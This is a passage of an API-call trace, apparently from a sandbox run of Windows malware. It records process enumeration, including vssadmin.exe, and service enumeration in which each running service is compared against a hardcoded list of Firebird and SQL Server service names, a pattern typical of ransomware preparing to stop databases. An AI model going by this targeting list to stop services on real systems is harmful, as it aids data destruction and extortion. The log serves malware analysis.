	[0173.012] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0173.013] lstrlenW (lpString="conhost.exe") returned 11
	[0173.013] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xd5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0173.013] lstrlenW (lpString="vssadmin.exe") returned 12
	[0173.013] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0173.014] lstrlenW (lpString="consent.exe") returned 11
	[0173.014] Process32NextW (in: hSnapshot=0x52c, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0
	[0173.014] CloseHandle (hObject=0x52c) returned 1
	[0173.014] Sleep (dwMilliseconds=0x1f4) 
	[0173.770] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3929a20
	[0173.771] EnumServicesStatusExW (in: hSCManager=0x3929a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 0
	[0173.773] GetLastError () returned 0xea
	[0173.773] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c30) returned 0x4151fa0
	[0173.773] EnumServicesStatusExW (in: hSCManager=0x3929a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4151fa0, cbBufSize=0x1c30, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4151fa0, pcbBytesNeeded=0x24eff3c, lpServicesReturned=0x24eff54, lpResumeHandle=0x0) returned 1
	[0173.775] CloseServiceHandle (hSCObject=0x3929a20) returned 1
	[0173.775] lstrlenW (lpString="Appinfo") returned 7
	[0173.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0173.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0173.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0173.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0173.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0173.775] lstrlenW (lpString="AppXSvc") returned 7
	[0173.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0173.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0173.775] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0173.775] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0173.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0173.775] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0173.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0173.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0173.775] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0173.775] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0173.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0173.775] lstrlenW (lpString="Audiosrv") returned 8
	[0173.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0173.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0173.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0173.776] lstrlenW (lpString="BFE") returned 3
	[0173.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0173.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0173.776] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0173.776] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0173.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0173.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0173.776] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0173.776] lstrlenW (lpString="CDPSvc") returned 6
	[0173.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0173.776] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0173.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0173.776] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0173.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0173.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0173.776] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0173.776] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0173.778] lstrlenW (lpString="CryptSvc") returned 8
	[0173.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0173.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0173.778] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0173.778] lstrlenW (lpString="DcomLaunch") returned 10
	[0173.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0173.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0173.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0173.778] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0173.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0173.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0173.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0173.778] lstrlenW (lpString="Dhcp") returned 4
	[0173.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0173.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0173.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0173.778] lstrlenW (lpString="Dnscache") returned 8
	[0173.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0173.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0173.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0173.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0173.778] lstrlenW (lpString="DPS") returned 3
	[0173.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0173.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0173.779] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0173.779] lstrlenW (lpString="DusmSvc") returned 7
	[0173.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0173.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0173.779] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0173.779] lstrlenW (lpString="EventLog") returned 8
	[0173.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0173.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0173.779] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0173.779] lstrlenW (lpString="EventSystem") returned 11
	[0173.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0173.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0173.779] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0173.779] lstrlenW (lpString="FontCache") returned 9
	[0173.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0173.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0173.779] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0173.779] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0173.779] lstrlenW (lpString="gpsvc") returned 5
	[0173.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0173.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0173.779] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0173.779] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0173.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0173.779] lstrlenW (lpString="iphlpsvc") returned 8
	[0173.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0173.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0173.780] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0173.780] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0173.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0173.798] lstrlenW (lpString="KeyIso") returned 6
	[0173.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0173.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0173.798] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0173.798] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0173.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0173.798] lstrlenW (lpString="LanmanServer") returned 12
	[0173.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0173.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0173.798] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0173.798] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0173.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0173.798] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0173.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0173.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0173.798] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0173.798] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0173.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0173.798] lstrlenW (lpString="lfsvc") returned 5
	[0173.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0173.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0173.798] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0173.798] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0173.798] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0173.798] lstrlenW (lpString="lmhosts") returned 7
	[0173.798] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0173.798] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0173.798] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0173.799] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0173.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0173.799] lstrlenW (lpString="LSM") returned 3
	[0173.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0173.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0173.799] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0173.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0173.799] lstrlenW (lpString="MpsSvc") returned 6
	[0173.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0173.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0173.799] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0173.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0173.799] lstrlenW (lpString="NcbService") returned 10
	[0173.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0173.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0173.799] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0173.799] lstrlenW (lpString="netprofm") returned 8
	[0173.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0173.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0173.799] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0173.799] lstrlenW (lpString="NgcSvc") returned 6
	[0173.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0173.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0173.799] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0173.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0173.799] lstrlenW (lpString="NlaSvc") returned 6
	[0173.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0173.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0173.800] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0173.800] lstrlenW (lpString="nsi") returned 3
	[0173.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0173.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0173.800] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0173.800] lstrlenW (lpString="PcaSvc") returned 6
	[0173.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0173.800] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0173.800] lstrlenW (lpString="PlugPlay") returned 8
	[0173.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0173.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0173.800] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0173.800] lstrlenW (lpString="Power") returned 5
	[0173.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0173.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0173.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0173.800] lstrlenW (lpString="ProfSvc") returned 7
	[0173.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0173.800] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0173.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0173.800] lstrlenW (lpString="RpcEptMapper") returned 12
	[0173.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0173.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0173.801] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0173.801] lstrlenW (lpString="RpcSs") returned 5
	[0173.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0173.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0173.801] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0173.801] lstrlenW (lpString="SamSs") returned 5
	[0173.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0173.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0173.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0173.801] lstrlenW (lpString="Schedule") returned 8
	[0173.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0173.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0173.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0173.801] lstrlenW (lpString="SecurityHealthService") returned 21
	[0173.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0173.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0173.801] lstrlenW (lpString="SENS") returned 4
	[0173.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0173.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0173.801] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0173.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0173.801] lstrlenW (lpString="ShellHWDetection") returned 16
	[0173.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0173.802] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0173.802] lstrlenW (lpString="Spooler") returned 7
	[0173.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0173.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0173.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0173.802] lstrlenW (lpString="StateRepository") returned 15
	[0173.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0173.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0173.802] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0173.802] lstrlenW (lpString="SysMain") returned 7
	[0173.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0173.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0173.802] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0173.802] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0173.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0173.802] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0173.802] lstrlenW (lpString="Themes") returned 6
	[0173.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0173.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0173.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0173.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0173.803] lstrlenW (lpString="tiledatamodelsvc") returned 16
